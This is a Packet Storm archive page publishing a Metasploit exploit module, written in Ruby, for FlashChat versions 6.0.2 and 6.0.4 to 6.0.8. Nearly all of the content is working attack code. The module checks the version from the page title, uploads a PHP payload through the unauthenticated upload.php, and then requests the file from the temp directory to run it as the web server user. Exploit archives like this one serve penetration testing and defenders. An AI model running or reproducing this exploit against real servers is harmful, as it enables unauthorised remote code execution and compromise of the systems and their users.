exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FlashChat Arbitrary File Upload

FlashChat Arbitrary File Upload
Posted Oct 7, 2013
Authored by x-hayben21 | Site metasploit.com

This Metasploit module exploits a file upload vulnerability found in FlashChat versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload feature in order to upload malicious PHP files without authentication which results in arbitrary remote code execution as the web server user.

tags | exploit, remote, web, arbitrary, php, code execution, file upload
SHA-256 | b230ba5108504e4b3b85c2257c49c24de506b5124902d8bf02423c42657b5bcc

FlashChat Arbitrary File Upload

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "FlashChat Arbitrary File Upload",
'Description' => %q{
This module exploits a file upload vulnerability found in FlashChat
versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload
feature in order to upload malicious PHP files without authentication
which results in arbitrary remote code execution as the web server user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'x-hayben21', # Discovery and PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['EDB', '28709']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Targets' =>
[
# Tested on FlashChat version 6.0.8
[ 'Generic (PHP Payload)', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Oct 04 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/'])
], self.class)
end

#
# Checks if target is running FlashChat versions 6.0.2, 6.0.4 to 6.0.8
#
def check
uri = normalize_uri(target_uri.path, '')
res = send_request_raw({'uri' => uri})

if not res
print_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end

version = res.body.scan(/<title>FlashChat v([\d\.]+)/).flatten[0] || ''

if version.empty?
return Exploit::CheckCode::Unknown
end

print_status("#{peer} - Version found: #{version}")

if version =~ /6\.0\.(2|4|5|6|7|8)/
return Exploit::CheckCode::Vulnerable
elsif version <= "6.0.8"
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end

end


#
# Uploads our malicious file
# Stolen from havalite_upload_exec.rb
#
def upload(base)
fname = "#{rand_text_alphanumeric(rand(10)+6)}.php"
php = "<?php #{payload.encoded} ?>"
data = Rex::MIME::Message.new
data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

if not res
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
elsif res.code.to_i == 404
fail_with(Failure::NotFound, "#{peer} - No upload.php found")
elsif res.code.to_i == 500
fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
end

return fname
end


#
# Executes our uploaded malicious file
# Stolen from havalite_upload_exec.rb
#
def exec(base, payload_fname)
res = send_request_raw({
'uri' => normalize_uri(base, 'temp', payload_fname)
})

if res and res.code == 404
fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
end
end

def exploit
base = target_uri.path

# upload
print_status("#{peer} - Uploading malicious file...")
fname = upload(base)

# register the file to clean
register_files_for_cleanup(fname)

# exec
print_status("#{peer} - Executing #{fname}...")
exec(base, fname)
end
end
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close